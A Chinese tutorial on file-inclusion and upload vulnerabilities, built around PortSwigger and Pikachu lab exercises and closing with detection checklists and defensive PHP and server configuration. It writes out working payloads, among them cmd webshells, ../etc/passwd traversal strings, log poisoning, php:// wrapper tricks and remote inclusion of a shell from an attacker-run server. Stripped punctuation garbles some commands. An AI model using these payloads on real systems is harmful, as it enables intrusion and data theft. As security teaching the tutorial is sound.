ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

文件包含漏洞(LFI/RFI)从入门到实战:5大实验+攻防全解析

文件包含漏洞(LFI/RFI)从入门到实战:5大实验+攻防全解析 文件包含漏洞完全实战教程前置要求已搭建 Kali Burp Suite了解 PHP include() 函数基础实验环境PortSwigger Web Security Academy Pikachu 靶场目录前置知识什么是文件包含漏洞实验环境准备Lab 1Polyglot 图片马文件包含Lab 2扩展名黑名单绕过.htaccessLab 3路径遍历Pikachu本地文件包含LFIPikachu远程文件包含RFI真实场景中的攻击思路真实场景中的漏洞检测防御方案与代码审计要点一、前置知识什么是文件包含漏洞1.1 文件包含的正常用途开发中常用include()/require()复用代码?php// 正常用法包含页头include(header.php);// 动态包含根据用户选择加载不同页面$page$_GET[page];include($page);// ⚠️ 危险用户可控?1.2 LFI vs. RFI类型全称利用条件危害LFILocal File Inclusion包含本地文件读取/etc/passwd、配合图片马 getshellRFIRemote File Inclusionallow_url_include On直接包含远程 webshell一键 RCE1.3 为什么和文件上传是黄金组合上次实验上传了图片马PHP 代码嵌入图片但如果上传目录禁止 PHP 执行webshell 无法触发。文件包含的破局作用// 目标网站存在文件包含漏洞$page$_GET[page];include($page);// 攻击者请求GET/vul/include.php?pageuploads/shell.jpg虽然shell.jpg扩展名是图片但include()函数会把文件内容当作 PHP 代码解析执行从而触发嵌入的 webshell。这就是文件包含 文件上传 黄金组合的原因。1.4 include() 函数的行为被包含的文件include() 的处理方式.php文件执行其中的 PHP 代码.txt文件直接输出文件内容/etc/passwd直接输出系统文件内容图片文件含 PHP 代码执行嵌入的 PHP 代码二、实验环境准备2.1 工具清单工具用途状态Burp Suite ProfessionalHTTP 代理、拦截、改包、Repeater已安装Firefox FoxyProxy设置浏览器代理到 Burp已配置PortSwigger 账号访问在线靶场已注册Pikachu 靶场本地漏洞练习平台已部署exiftool制作 Polyglot 图片马Kali 自带Python 33搭建临时 HTTP 服务器已安装2.2 创建测试文件文件 1exploit.php用于读取 secret?phpechofile_get_contents(/home/carlos/secret);?文件 2shell.php用于命令执行?phpsystem($_GET[cmd]);?三Lab 1: Polyglot 图片马 文件包含含3.1 实验目标文件内容校验Magic Bytes的绕过方法。后端检查文件是否为真实图片但未剥离 EXIF 元数据中的 PHP 代码。。3.2 进入实验室在 PortSwigger 的“File upload vulnerabilities”路径中找到“Remote code execution via polyglot web shell upload”3.3 准备图片在 Kali 终端执行# 下载测试图片wgethttps://portswigger.net/web-security/images/stickman.jpg-O/tmp/image.jpg# 或者用系统自带图片find/usr/share-name*.jpg|head-13.4 用 exiftool 制作 Polyglot 文件核心原理exiftool 可以在图片的EXIF Comment 元数据中插入 PHP 代码然后输出为.php扩展名。这个文件对图片查看器来说是一张正常的 JPEG 图片文件头FF D8 FF正确对 PHP 解释器来说包含?php ... ?代码可以执行在 Kali 终端执行exiftool-Comment?php echo START . file_get_contents(/home/carlos/secret) . END; ?/tmp/image.jpg-o/tmp/polyglot.php参数解释-Comment...在图片的 EXIF Comment 字段中写入 PHP 代码image.jpg输入的原始图片-o polyglot.php输出文件名为polyglot.php为什么加 START 和 END因为返回的响应中包含大量图片二进制乱码用 START/END 做标记可以方便地在乱码中定位 secret。3.5 验证 polyglot.phpexiftool /tmp/polyglot.php|grepComment预期输出Comment : ?php echo START . file_get_contents(/home/carlos/secret) . END; ?3.6 上传 polyglot.php登录实验室账户wiener / peter进入My account页面点击Browse…选择/tmp/polyglot.php点击Upload此时发生了什么服务器检查文件内容看到文件头FF D8 FFJPEG 的 Magic Bytes认为这是一张真实图片于是放行。但它没有进一步剥离 EXIF 元数据中的 PHP 代码。3.7 用 Repeater 获取 Secret上传成功后文件保存在/files/avatars/polyglot.php。Burp →Proxy → HTTP history找到获取头像的 GET 请求GET /files/avatars/xxx.jpg右键 →“Send to Repeater”切换到Repeater标签把请求路径改成GET /files/avatars/polyglot.php HTTP/2点击Send查找 SecretResponse 中会混杂大量图片二进制乱码按CtrlF搜索START在START和END之间就是 Carlos 的 secret3.8 提交 Secret复制 Repeater 响应面板中的 secret 字符串回到实验室页面点击“Submit solution”粘贴 secret提交页面显示“Congratulations, you solved the lab!”3.9 本实验原理总结image.jpg (合法JPEG) PHP代码 ──→ exiftool 写入 Comment 字段 ──→ polyglot.php ↓ 文件头: FF D8 FF (JPEG) ✅ 通过校验 内容: ?php ... ? (PHP代码) ↓ 服务器保存为 polyglot.php ↓ 访问该文件 → PHP解释器扫描整个文件 ↓ 找到 ?php ... ? 并执行 ↓ 输出 Carlos 的 secret漏洞本质文件内容校验Magic Bytes只能验证文件类型不能防止在元数据EXIF中嵌入恶意代码。四、Lab 2扩展名黑名单绕过.htaccess4.1 实验目标理解黑名单防御的脆弱性。后端禁止.php、.phtml、.php5但允许.htaccess上传且 Apache 会解析.htaccess配置。4.2 进入实验室在 PortSwigger 中找到“Web shell upload via extension blacklist bypass”4.3 尝试直接上传 PHP创建shell.phpecho?php echo file_get_contents(/home/carlos/secret); ?/tmp/shell.php直接上传预期结果上传失败提示 “Sorry, php files are not allowed”。4.4 尝试 .php5创建并上传shell.php5echo?php echo file_get_contents(/home/carlos/secret); ?/tmp/shell.php5预期结果上传成功但访问时返回 PHP 源码纯文本目录禁止 PHP 执行。4.5 上传 .htaccess 文件核心原理Apache 服务器允许通过.htaccess文件在每个目录下覆盖全局配置。上传.htaccess后可以让服务器把任意扩展名如.l33t当作 PHP 执行。创建 .htaccessechoAddType application/x-httpd-php .l33t/tmp/.htaccess上传步骤关键开启 Burp 拦截在实验室页面准备一张正常图片点击 UploadBurp 拦截到 POST 请求做以下修改把filenamexxx.jpg改成filename.htaccess把Content-Type改成text/plain把请求体中的图片二进制内容删掉改成AddType application/x-httpd-php .l33t点击Forward放行为什么从正常图片请求修改直接选择.htaccess上传时前端可能不生成 CSRF token导致 “Missing parameter ‘csrf’” 错误。从正常图片请求修改可以保留完整的表单结构。4.6 验证 .htaccess 上传成功页面显示The file avatars/.htaccess has been uploaded.4.7 上传 exploit.l33t创建 exploit.l33techo?php echo file_get_contents(/home/carlos/secret); ?/tmp/exploit.l33t上传选择/tmp/exploit.l33t点击 Upload如果 Burp 拦截把Content-Type改成image/jpegForward 放行4.8 读取 Secret在 Repeater 中发送GET /files/avatars/exploit.l33t HTTP/2由于.htaccess的配置.l33t文件会被当作 PHP 执行返回 Carlos 的 secret。4.9 本实验原理总结后端黑名单禁止 .php, .phtml, .php5 ↓ 攻击者上传 .htaccess AddType application/x-httpd-php .l33t ↓ Apache 读取 .htaccess → 该目录下 .l33t 文件由 PHP 解释器处理 ↓ 上传 exploit.l33t内容?php ... ? ↓ 访问 /files/avatars/exploit.l33t → PHP 执行 → 读取 secret漏洞本质黑名单永远不完整.htaccess配置覆盖是绕过黑名单的强大手段。#Lab 3: b 3路径遍历5.1 实验目标利用**路径遍历Path Traversal**漏洞通过../读取服务器上的任意文件。5.2 进入实验室在 PortSwigge**“Path Traversal”** 路径中找到**“File path traversal, simple case”e5.3 找到图片加载接口操作在页面上右键点击任意商品图片2.“检查”Inspectect查看图片的src属性预期格式img src/image?filenameavatar.jpg5.4 Burp Repeater 修改请求操作Burp →Proxy → HTTP history找到加载图片的 GET 请求如GET /image?filenameavatar.jpg右键 →Send to Repeater把请求改成GET /image?filename../../../etc/passwd HTTP/2点击Send原理后端代码大概长这样$filename$_GET[filename];readfile(/var/www/images/.$filename);当filename../../../etc/passwd时/var/www/images/../../../etc/passwd /etc/passwd成功读取系统敏感文件5.5 本实验原理总结正常请求攻击请求filenameavatar.jpgfilename../../../etc/passwd读取/var/www/images/avatar.jpg读取/etc/passwd显示图片泄露系统敏感信息漏洞本质后端直接把用户输入拼接到文件路径未过滤../目录遍历序列。六、Pikachu本地文件包含LFI6.1 进入靶场访问http://localhost/pikachu/vul/fileinclude/fi_local.php6.2 分析后端代码查看源码cat/var/www/html/pikachu/vul/fileinclude/fi_local.php关键代码includeinclude/$filename;6.3 计算路径遍历层级从include/目录到根目录//var/www/html/pikachu/vul/fileinclude/include/ ├── 退1级 → fileinclude/ ├── 退2级 → vul/ ├── 退3级 → pikachu/ ├── 退4级 → html/ ├── 退5级 → www/ ├── 退6级 → var/ └── 退7级 → /需要7 个../才能到达根目录6.4 读取 /etc/passwd浏览器访问http://localhost/pikachu/vul/fileinclude/fi_local.php?filename../../../../../../../etc/passwdsubmit提交查询6.5 本实验原理总结参数实际包含路径结果file1.phpinclude/file1.php✅ 正常../../../etc/passwd(3个)include/../../../etc/passwd/var/www/html/pikachu/etc/passwd❌ 不存在../../../../../../../etc/passwd(7个)include/../../../../../../../etc/passwd/etc/passwd✅成功关键教训即使后端加了固定目录前缀路径遍历仍然可以突破目录边界。必须计算准确的../层级。七、Pikachu远程文件包含RFI7.1 环境配置Pikachu 默认allow_url_include Off需要先开启# 1. 编辑 php.inisudonano/etc/php/8.4/apache2/php.ini# 2. 修改以下两行allow_url_includeOn allow_url_fopenOn# 3. 重启 Apachesudosystemctl restart apache27.2 搭建远程 Web 服务器在 Kali 终端执行cd/tmpecho?php phpinfo(); ?shell.txt python3-mhttp.server88887.3 查看 Kali IPipaddr|grepinet 找到你的 IP如192.168.2.124。7.4 触发 RFI浏览器访问http://localhost/pikachu/vul/fileinclude/fi_remote.php?filenamehttp://192.168.2.124:8888/shell.txtsubmit提交查询预期结果页面显示完整的phpinfo()输出证明远程文件被包含并执行了 PHP 代码7.5 如果是真正的 Webshell把shell.txt改成?phpsystem($_GET[cmd]);?然后访问?filenamehttp://192.168.2.124:8888/shell.txtcmdwhoami即可执行任意命令7.6 恢复安全配置重要实验完成后务必关闭sudonano/etc/php/8.4/apache2/php.ini# 改回allow_url_includeOff allow_url_fopenOffsudosystemctl restart apache27.7 本实验原理总结攻击机Kali 192.168.2.124 ├── python3 -m http.server 8888 └── shell.txt (内容?php phpinfo(); ?) ↓ HTTP 请求 受害者Pikachu localhost ├── PHP include(http://192.168.2.124:8888/shell.txt) ├── 远程下载 shell.txt └── 执行 phpinfo() → 返回配置信息漏洞本质allow_url_include On时include()可以加载远程 URL 并执行其中的 PHP 代码。攻击者只需控制一个 HTTP 服务器就能让目标服务器执行任意代码。八、真实场景中的攻击思路8.1 攻击目的阶段目标具体操作信息收集了解目标环境?page../../../etc/passwd读取系统用户配置泄露获取数据库密码?page../../../var/www/html/config.php读取源码日志投毒写入恶意代码在 User-Agent 中写 PHP 代码然后包含日志文件图片马触发配合文件上传 getshell上传图片马 → 文件包含触发 → 获得 RCESession 包含利用可控的 Session 文件在可控字段写 PHP 代码包含 Session 文件PHP 封装器读取源码而不执行php://filter/readconvert.base64-encode/resourceconfig.php8.2 典型攻击链LFI → RCE1. 发现 LFI 漏洞 └─ ?pagefile1.php 可以改成任意文件 2. 信息收集 └─ ?page../../../etc/passwd → 确认存在 LFI 3. 寻找可写的日志/Session └─ ?page../../../var/log/apache2/access.log 4. 日志投毒 └─ 在请求头中注入 PHP 代码 User-Agent: ?php system($_GET[cmd]); ? 5. 包含日志文件触发代码 └─ ?page../../../var/log/apache2/access.logcmdwhoami 6. 获得 RCE └─ 执行任意命令进一步反弹 Shell8.3 PHP 封装器利用读取源码不执行?pagephp://filter/readconvert.base64-encode/resourceconfig.php执行系统命令?pagephp://input POST 数据?php system(whoami); ?包含 Data URI?pagedata://text/plain,?php phpinfo(); ?九、真实场景中的漏洞检测9.1 黑盒测试发现包含点位置示例参数页面加载?pageabout?fileheader?modulenews语言切换?langen?languagezh主题/模板?themedefault?templateindex文件下载?downloadmanual.pdf基础测试清单□ 基础测试?page../../../etc/passwd □ Windows 测试?page..\..\..\windows\system32\drivers\etc\hosts □ 空字节截断PHP 5.3.4?page../../../etc/passwd%00 □ 双写绕过?page....//....//....//etc/passwd □ PHP 封装器?pagephp://filter/readconvert.base64-encode/resourceindex.php □ 远程包含?pagehttp://攻击者.com/shell.txt9.2 白盒代码审计危险函数识别include($file)include_once($file)require($file)require_once($file)检查清单检查项危险代码安全代码是否使用用户输入include($_GET[page])❌include(fixed_page.php)✅是否加了固定前缀include(pages/ . $_GET[page])❌仍可遍历include(pages/ . basename($_GET[page]))✅是否有白名单无 ❌if (in_array($page, $allowed))✅allow_url_includeOn❌Off✅open_basedir未设置 ❌open_basedir /var/www/html✅十、防御方案与代码审计要点10.1 防御金字塔┌─────────────┐ │ 关闭 allow_url_include │ ← 最强杜绝 RFI │ (php.ini) │ ├─────────────┤ │ 白名单控制 │ ← 只允许预定义文件 ├─────────────┤ │ open_basedir │ ← 限制 PHP 可访问目录 ├─────────────┤ │ basename() 过滤 │ ← 去除路径遍历字符 └─────────────┘10.2 安全代码示例?php// ✅ 安全的文件包含白名单 固定目录$allowed_pages[home,about,contact];$page$_GET[page]??home;if(!in_array($page,$allowed_pages)){die(Invalid page);}include(/var/www/pages/.$page..php);?10.3 PHP 配置加固; php.ini allow_url_include Off allow_url_fopen Off open_basedir /var/www/html:/tmp10.4 Nginx/Apache 配置# Nginx限制 PHP 包含路径 location ~ \.php$ { fastcgi_param PHP_VALUE open_basedir/var/www/html:/tmp; }十一、总结实验防御机制绕过/利用手法学到的核心原理Polyglot文件内容校验Magic BytesEXIF 元数据嵌入 PHP 代码元数据校验不可忽略Blacklist扩展名黑名单.htaccess 配置覆盖 自定义扩展名黑名单永远不完整Path Traversal无过滤../../../etc/passwd路径拼接必须过滤遍历序列Pikachu LFI固定目录前缀7个../穿越到根目录前缀不能阻止路径遍历Pikachu RFIallow_url_includeOn远程包含 Kali 的 shell.txtRFI 直接 getshell必须关闭配置开关核心原则永远不要使用用户输入直接作为 include 参数—— 所有 include 参数必须白名单控制关闭allow_url_include—— 这是杜绝 RFI 的最有效手段纵深防御—— 白名单 目录限制 配置加固多层防护
返回列表